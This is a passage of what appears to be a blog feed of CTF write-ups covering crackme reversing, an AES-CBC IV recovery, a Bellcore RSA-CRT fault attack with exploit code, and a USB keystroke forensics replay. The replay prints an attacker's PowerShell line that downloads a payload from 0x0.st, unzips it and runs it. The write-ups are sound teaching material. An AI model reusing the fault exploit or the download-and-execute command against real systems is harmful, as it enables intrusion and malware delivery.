<h2 id="why-the-reference-scripts-never-work">Why the reference scripts never work<a class="anchor" aria-hidden="true" tabindex="-1" href="#why-the-reference-scripts-never-work">#</a></h2>
<p>Brute-forcing against those scripts never produces a match. Tracing them shows a keystream desync and a wrong per-character offset, but the real root cause is deeper: both scripts <strong>hardcode the VM's initial seed</strong> (<code>r15d = 0xc499790f</code>), and that's simply wrong.</p>
<p>The real seed is derived from a global constant, <code>0xB16B00B5</code>, written by <strong>startup code</strong> that runs before <code>main</code>. If you only emulate the check function in isolation, that code never executes, so the seed is never set correctly. The reachable value for position 0 just doesn't contain the target under the hardcoded seed, no matter what byte you try. The provided "help" is a dead end by design.</p>
<h2 id="emulate-the-real-binary-instead">Emulate the real binary instead<a class="anchor" aria-hidden="true" tabindex="-1" href="#emulate-the-real-binary-instead">#</a></h2>
<p>Rather than keep patching a broken reimplementation, I built a <strong>Unicorn</strong> emulator of the actual executable and used it as an oracle:</p>
<ul>
<li>map the PE, a stack, and a fake TEB/PEB (the check does a PEB anti-debug probe internally, so the emulation has to not crash on it)</li>
<li>stub <code>GetDlgItemTextA</code> to hand back my candidate serial, and <code>MessageBoxA</code> to capture the verdict</li>
<li>drive the dialog procedure directly with a synthetic "button pressed" message instead of running a real message loop</li>
</ul>
<p>This runs the genuine startup code too, so the seed is correct without me ever having to figure out its formula.</p>
<h2 id="the-progress-oracle">The progress oracle<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-progress-oracle">#</a></h2>
<p>The VM runs in constant time per character, so timing tells you nothing. But the <strong>outer</strong> comparison loop bails at the first wrong character and writes that index to a fixed global. That global is exactly "how many leading characters are correct", which is all a character-by-character brute force needs:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> pos </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> range</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">24</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">):</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ch </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">in</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> printable:              </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># 0x20..0x7e</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        serial[pos] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ch</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">        prog, ok </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> run(serial)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> ok: </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">break</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">        if</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> prog </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">></span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> best: best, keep </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> prog, ch</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    serial[pos] </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> keep</span></span></code></pre>
<p>24 positions, about 95 candidates each, one emulator run per try. A few minutes, fully deterministic, no guessing:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>Dyn4m1c_0nly_LYKN_2026!!</span></span></code></pre>
<p>The flag is a wink at the lesson: the static reference was broken, and solving it meant going dynamic. When a challenge hands you a reimplementation, the reimplementation can lie. The real binary can't.</p>
<p>📂 Full writeup with the Unicorn oracle and the brute force: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/reverse/lykn-ctf-2026/cr4ck%203">ctf-writeups/reverse/…/cr4ck 3</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Beating a time-locked crackme without beating the clock</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/a-matter-of-time/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/a-matter-of-time/</guid>
      <pubDate>Fri, 27 Nov 2026 00:00:00 GMT</pubDate>
      <description>An obfuscated Windows crackme only works during a 4-hour CTF window. Turns out CBC mode and a leaked PDB path mean you don't need the window at all.</description>
      <category>ctf</category>
      <category>reversing</category>
      <category>crypto</category>
      <category>windows</category>
      <content:encoded><![CDATA[<blockquote>
<p><strong>a_matter_of_time</strong>, Crackmes.one Reverse Engineering CTF 2026 (author: @heapsoverflow)</p>
</blockquote>
<p>Run this crackme and it greets you with a little story about January 19, 2038, then promptly tells you:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>Time's up. Every old system switched to 64-bit but at what cost... You can still try though.</span></span>
<span class="line"><span>Wrong timing.</span></span></code></pre>
<p>The binary only decrypts its flag if you run it <strong>during the CTF's 4-hour window</strong>. The window had long passed by the time I sat down with it. Here's how I got the flag anyway, and why the time lock barely mattered.</p>
<h2 id="the-setup">The setup<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-setup">#</a></h2>
<p>The challenge description gave away the crypto: <strong>AES-128-CBC</strong>, where</p>
<ul>
<li>the <strong>key</strong> is a "discoverable username"</li>
<li>the <strong>IV</strong> is an "amalgamated value from UNIX decimal timestamps"</li>
</ul>
<p>So I needed three things: the key, the IV, and the ciphertext.</p>
<h2 id="the-key-was-in-the-build-artifacts">The key was in the build artifacts<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-key-was-in-the-build-artifacts">#</a></h2>
<p>Early triage of the PE turned up an embedded <strong>PDB path</strong>, which MSVC leaves behind for debug symbols:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>C:\Users\nicetryboogeyman\cmo\x64\Release\cmo.pdb</span></span></code></pre>
<p><code>nicetryboogeyman</code> is <strong>exactly 16 characters</strong>, the size of an AES-128 key. Nice try indeed. 🙃</p>
<h2 id="fighting-the-obfuscation-or-rather-not">Fighting the obfuscation (or rather, not)<a class="anchor" aria-hidden="true" tabindex="-1" href="#fighting-the-obfuscation-or-rather-not">#</a></h2>
<p>The binary was run through the author's own <code>bin2bin</code> obfuscator. There was an ~80 KB <code>.ch</code> section full of code that <code>.pdata</code> didn't cover, control-flow flattening with junk bytes, and every string XOR-encrypted and assembled from shuffled chunks at runtime.</p>
<p>I could have untangled the string builder statically. Instead, I wrote a small <strong>pure-Python Windows debugger</strong> with <code>ctypes</code> that:</p>
<ol>
<li>launches the binary under <code>DEBUG_ONLY_THIS_PROCESS</code> with piped stdin/stdout</li>
<li>lets it run until it has decoded its own secrets</li>
<li>walks its memory with <code>VirtualQueryEx</code> + <code>ReadProcessMemory</code> and greps for printable strings</li>
</ol>
<p>That gave me the ciphertext, sitting in memory as hex, already decoded by the program itself:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>4c4635258cf6eca5d80b8e050a9e5b04 f1a9c979bc55f3f4773971ed2f81a969 67bb3569fa002f549cc970a18779b3a7</span></span></code></pre>
<p>I also tried hooking the time APIs to fake being inside the window. Hooking <code>NtQuerySystemTime</code> did fire, but the gate's verdict didn't change, because it reads the clock through a path that bypasses the hook. But it turned out not to matter at all.</p>
<h2 id="why-the-clock-doesnt-matter-cbc-math">Why the clock doesn't matter: CBC math<a class="anchor" aria-hidden="true" tabindex="-1" href="#why-the-clock-doesnt-matter-cbc-math">#</a></h2>
<p>In CBC mode, every block after the first is decrypted like this:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>P[i] = AES_dec(C[i]) XOR C[i-1]      for i ≥ 1</span></span></code></pre>
<p>Notice what's <strong>not</strong> in that formula: the IV. The IV only affects block 0. So with just the key, I could decrypt blocks 1 and 2 immediately:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>blocks 1-2  ->  t0_l34rn_fr0M_n0T_t0_l1V3_1n}\x03\x03\x03</span></span></code></pre>
<p>Clean PKCS#7 padding confirmed both the key and the ciphertext alignment. That's two-thirds of the flag without ever touching the time-derived IV.</p>
<h2 id="recovering-the-iv-with-known-plaintext">Recovering the IV with known plaintext<a class="anchor" aria-hidden="true" tabindex="-1" href="#recovering-the-iv-with-known-plaintext">#</a></h2>
<p>For block 0, <code>IV = AES_dec(C[0]) XOR P[0]</code>. I know the flag format starts with <code>CMO{</code>, so:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>IV[0:4] = AES_dec(C[0])[0:4] XOR "CMO{"  =  "0000"</span></span></code></pre>
<p>So the IV is a <strong>zero-padded decimal string</strong>, which matches "decimal timestamps." The real value turned out to be <code>0000000537068053</code>:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>[+] FLAG: CMO{5h3_p4St_1s_t0_l34rn_fr0M_n0T_t0_l1V3_1n}</span></span></code></pre>
<p><em>"The past is to learn from, not to live in."</em> Fitting for a challenge I solved after the clock ran out.</p>
<h2 id="an-honest-caveat">An honest caveat<a class="anchor" aria-hidden="true" tabindex="-1" href="#an-honest-caveat">#</a></h2>
<p>The "IV is 16 ASCII digits" constraint narrows things a <strong>lot</strong>, but it doesn't uniquely pin block 0. For example, <code>CMO{7h3_p4St…</code> with a different all-digit IV also decrypts to something readable. Known plaintext gets you close; only the real IV value (from reversing its construction or running in-window) is truly authoritative. It's a good reminder that a charset constraint narrows the search but doesn't always solve it.</p>
<p>📂 Full writeup plus <code>solve.py</code>, <code>memdump.py</code> and <code>timehook.py</code>: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/reverse/crackmes-re-ctf-2026/a_matter_of_time">ctf-writeups/reverse/…/a_matter_of_time</a></p>]]></content:encoded>
    </item>
    <item>
      <title>One bad signature to factor them all</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/trojanhorse-rsa-crt-fault/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/trojanhorse-rsa-crt-fault/</guid>
      <pubDate>Fri, 27 Nov 2026 00:00:00 GMT</pubDate>
      <description>A custom binary protocol with homemade crypto falls to a leaked key and a classic Bellcore RSA-CRT fault attack. One faulty signature is all it takes to factor n.</description>
      <category>ctf</category>
      <category>crypto</category>
      <category>rsa</category>
      <category>reversing</category>
      <content:encoded><![CDATA[<blockquote>
<p><em>"The gates open for no army — but they swing wide every evening for gifts. Bring something shiny, get the keeper's seal on it, waltz right in."</em>
<strong>TrojanHorse</strong>, Cyber Arena CTF 2026 (crypto / pwn)</p>
</blockquote>
<p>This was the hardest challenge in its set: a stripped, static-PIE server speaking a <strong>bespoke binary protocol</strong>, with a <strong>homemade cipher</strong>, a <strong>homemade MAC</strong>, and <strong>per-connection RSA</strong> on top. The flag is never sent in the clear. It's wrapped in two layers of encryption, one of them keyed by the RSA <strong>private</strong> exponent.</p>
<p>To get it out I needed three bugs in a row. Here's the chain.</p>
<h2 id="the-protocol">The protocol<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-protocol">#</a></h2>
<p>Every message looks like this:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>[type:1][len:2 LE][body]</span></span></code></pre>
<p>Client→server bodies are encrypted in CTR mode. Even the <code>type</code> byte goes through a secret S-box, so before I could send a single valid command, I had to reverse the crypto:</p>
<table>
<thead>
<tr>
<th align="left">Primitive</th>
<th align="left">What it is</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">ARX permutation</td>
<td align="left">20 rounds of add-rotate-xor, round constants from a table</td>
</tr>
<tr>
<td align="left">CTR keystream</td>
<td align="left">the permutation over <code>[counter ^ K0, K1, K2, K3]</code></td>
</tr>
<tr>
<td align="left">Sponge MAC</td>
<td align="left">seeded with SHA-512's IV words, rate 32: the keeper's "seal"</td>
</tr>
<tr>
<td align="left">Command S-box</td>
<td align="left">Fisher–Yates shuffle driven by the keystream</td>
</tr>
</tbody>
</table>
<p>There's no <code>flag.txt</code> string in the binary either. The filename is XOR-obfuscated with <code>0xa1</code>, which is why grepping for it finds nothing.</p>
<h2 id="bug-1-the-key-is-in-the-greeting-">Bug 1: the key is in the greeting 🎁<a class="anchor" aria-hidden="true" tabindex="-1" href="#bug-1-the-key-is-in-the-greeting-">#</a></h2>
<p>At startup the server reads 16 bytes from <code>/dev/urandom</code> for half of the cipher key. The other half is hardcoded digits of π.</p>
<p>And then it <strong>sends those 16 random bytes to the client</strong> in the very first packet.</p>
<p>So the whole cipher key, and therefore the command S-box, can be rebuilt client-side. That gave me a working protocol client. One subtle thing I had to get right: a global counter is incremented on <strong>every</strong> packet and feeds the keystream, so the client has to track it exactly or everything desyncs after the first command.</p>
<h2 id="how-the-flag-is-locked">How the flag is locked<a class="anchor" aria-hidden="true" tabindex="-1" href="#how-the-flag-is-locked">#</a></h2>
<p>Reading the startup code showed the flag's journey:</p>
<ol>
<li>Read <code>flag.txt</code>.</li>
<li>Encrypt it with a MAC derived from <strong><code>d</code></strong>, the RSA private exponent.</li>
<li>When you send the <code>P</code> command, add a <strong>second</strong> layer keyed by a MAC of <em>your own</em> request body.</li>
</ol>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>P_response = Enc(MAC(your_body), Enc(MAC(d), flag))</span></span></code></pre>
<p>I control the outer key, so peeling that layer is free. The inner layer needs <code>d</code>, which means factoring <code>n</code>.</p>
<h2 id="bug-2-a-signing-oracle-with-crt">Bug 2: a signing oracle with CRT<a class="anchor" aria-hidden="true" tabindex="-1" href="#bug-2-a-signing-oracle-with-crt">#</a></h2>
<p>The <code>S</code> command is a raw RSA signing oracle: <code>sig = m^d mod n</code>, computed with the <strong>Chinese Remainder Theorem</strong> for speed. That means the server computes the signature separately mod <code>p</code> and mod <code>q</code>, then combines them.</p>
<p>Here's the catch: an attacker-controlled field in the <code>S</code> request sits right next to the CRT parameters in memory. Send it too long, and it <strong>corrupts one half of the CRT computation</strong>.</p>
<h2 id="bug-3-bellcores-1997-attack-still-works">Bug 3: Bellcore's 1997 attack still works<a class="anchor" aria-hidden="true" tabindex="-1" href="#bug-3-bellcores-1997-attack-still-works">#</a></h2>
<p>This is the classic <strong>Bellcore fault attack</strong>. If the mod-<code>q</code> half of a CRT signature is wrong but the mod-<code>p</code> half is right, then the faulty signature <code>s'</code> still satisfies <code>s'^e ≡ m (mod p)</code>, but not mod <code>q</code>. So:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>gcd(s'^e − m, n) = p</span></span></code></pre>
<p>One faulty signature, one <code>gcd</code>, and <code>n</code> is factored:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">_, bk </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> p.cmd(s, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">4b</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">); N </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> int</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.from_bytes(bk[:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">128</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">], </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"big"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)     </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># K -> modulus</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">m, K </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">56</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">_, out </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> p.cmd(s, </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">53</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, struct.pack(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"&#x3C;H"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">16</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> m.to_bytes(</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">16</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"big"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">                        +</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> struct.pack(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"&#x3C;H"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, K) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">+</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> b</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">\xff</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> *</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> K)    </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># overflow -> fault</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sig </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> int</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">.from_bytes(out, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"big"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">pf  </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> gcd((</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">pow</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(sig, e, N) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> m) </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">%</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> N, N)                            </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># 💥 p</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">qf  </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> N </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">//</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> pf</span></span></code></pre>
<p>From there it's bookkeeping: compute <code>d = e⁻¹ mod λ(n)</code>, derive the inner MAC, and peel both layers:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>factored: True</span></span>
<span class="line"><span>FLAG: MPTC{n3v3r_tru5t_4_p4t13nt_gr33k_b34r1ng_g1ft5}</span></span></code></pre>
<p><em>Never trust a patient Greek bearing gifts.</em> 🐴</p>
<p>📂 Full writeup and the pure-Python protocol client: <a href="https://github.com/MoriartyPuth/ctf-writeups/tree/main/crypto/cyber-arena-2026/trojanhorse">ctf-writeups/crypto/…/trojanhorse</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Reading an attacker's keystrokes off a USB cable</title>
      <link>https://portfolio.puthcambo.workers.dev/blog/what-did-you-type/</link>
      <guid isPermaLink="true">https://portfolio.puthcambo.workers.dev/blog/what-did-you-type/</guid>
      <pubDate>Fri, 27 Nov 2026 00:00:00 GMT</pubDate>
      <description>Two &quot;logs&quot; from a breached garage turn out to be packet captures. One is a USB keyboard. Decoding it replays the attacker's whole PowerShell session, password included.</description>
      <category>ctf</category>
      <category>forensics</category>
      <category>usb</category>
      <category>pcap</category>
      <content:encoded><![CDATA[<blockquote>
<p><em>"We're an automotive security startup. Last night, our garage was breached... We managed to capture some logs via our first-ever agent. Can you analyze them and find out what was taken?"</em>
<strong>What did you type</strong>, Crackmes.one Reverse Engineering CTF 2026 (forensics)</p>
</blockquote>
<p>The handout had two files: a big zip of "logs" and a text file called <code>PbWE.txt</code> full of base64. The challenge name was the best hint I got all day.</p>
<h2 id="the-logs-arent-logs">The logs aren't logs<a class="anchor" aria-hidden="true" tabindex="-1" href="#the-logs-arent-logs">#</a></h2>
<p>Inside <code>chall.zip</code> were two members, <code>monitor_hardware</code> (116 MB) and <code>monitor_network</code> (75 KB). Text logs? Not quite:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> xxd</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> monitor_hardware</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> head</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> -1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">00000000:</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> d4c3</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> b2a1</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0200</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0400</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0000</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0000</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0000</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 0000</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">  ................</span></span></code></pre>
<p><code>d4 c3 b2 a1</code> is the <strong>libpcap</strong> magic. Bytes 20–24 of the header hold the link-layer type:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>monitor_hardware -> linktype 249  (USBPcap, a Windows USB capture)</span></span>
<span class="line"><span>monitor_network  -> linktype 1    (Ethernet)</span></span></code></pre>
<p>A USB capture, in a challenge called <em>"What did you type"</em>. That's a keyboard.</p>
<h2 id="how-a-usb-keyboard-talks">How a USB keyboard talks<a class="anchor" aria-hidden="true" tabindex="-1" href="#how-a-usb-keyboard-talks">#</a></h2>
<p>A boot-protocol keyboard sends an <strong>8-byte HID report</strong> on an interrupt IN endpoint every time its state changes:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>[ modifier ][ reserved ][ key1 ][ key2 ][ key3 ][ key4 ][ key5 ][ key6 ]</span></span></code></pre>
<p>The modifier byte carries Shift (<code>0x02</code> left, <code>0x20</code> right), and <code>key1..key6</code> are HID usage IDs for whatever is held down. To get text back, you:</p>
<ol>
<li>walk the USBPcap records and keep only <strong>interrupt IN</strong> transfers with 8-byte payloads</li>
<li>track which keys are pressed in each report</li>
<li>emit a character only on a <strong>key-down transition</strong>, meaning a key that's in this report but wasn't in the previous one</li>
<li>map the usage ID through the HID table, applying Shift</li>
</ol>
<p>I wrote that as a small stdlib-only Python script. Out of 61,760 packets, 449 were keyboard reports:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span>powersh	</span></span>
<span class="line"><span>ls</span></span>
<span class="line"><span>cd Docu	</span></span>
<span class="line"><span>ls</span></span>
<span class="line"><span>c[BKSP][][50]IO.File[4f]::WriteAll	""[50]$pwd\sus.zip[4f], [][50]Convert[4f]::FromBase64St	(irm ''[50]https://0x0.st/PbWE.txt[4f])))</span></span>
<span class="line"><span>ls</span></span>
<span class="line"><span>unzip</span></span>
<span class="line"><span>unzip -P 1m_g0d_!! sus.z	 -d out</span></span>
<span class="line"><span>mv out\* .</span></span>
<span class="line"><span>./modu	</span></span>
<span class="line"><span>rm *</span></span>
<span class="line"><span>exit</span></span></code></pre>
<h2 id="replaying-the-session">Replaying the session<a class="anchor" aria-hidden="true" tabindex="-1" href="#replaying-the-session">#</a></h2>
<p>The raw output is messy because it records exactly what the fingers did. <code>\t</code> is <strong>Tab</strong> (shell autocompletion), <code>[50]</code> is <strong>Left Arrow</strong> and <code>[4f]</code> is <strong>Right Arrow</strong>: the attacker typed closing brackets and quotes first, then arrowed back inside them. Following the cursor around rebuilds the real session:</p>
<pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">powershell</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ls</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">cd Documents</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ls</span></span>
